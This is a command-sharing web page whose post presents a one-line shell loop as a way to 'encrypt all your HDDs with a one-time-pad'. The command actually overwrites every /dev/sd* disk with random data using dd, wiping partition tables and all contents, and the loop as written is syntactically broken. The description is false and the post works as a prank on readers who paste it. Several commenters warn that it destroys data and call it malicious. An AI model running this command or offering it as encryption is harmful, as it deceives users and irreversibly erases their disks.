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Encrypts all your HDDs with a one-time-pad

Terminal - Encrypts all your HDDs with a one-time-pad
for disk in /dev/sd*; sudo dd if=/dev/urandom of=$disk; done
2009-02-05 22:05:46
User: HansReiser
Functions: dd sudo
Encrypts all your HDDs with a one-time-pad

Alternatively, run as root and take out the sudo.


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Comment by jmcantrell 323 weeks and 1 day ago

Damn! NEVER DO THIS COMMAND, it fills all your SCSI drives with random junk, including boot sectors, partition tables etc. It does not encrypt, it destroys all data. Chances are it may even make your drive unusable.

Comment by chickenkiller 323 weeks ago

This is just malicious. this will do an if loop, find all your hard drives and try and write random junk. To the authors credit he does state 1 way encryption.

Comment by dhing 323 weeks ago

Guys, click the username ;)

Comment by porges 323 weeks ago

damn this is bad thing , bad command

Comment by gg 312 weeks and 2 days ago

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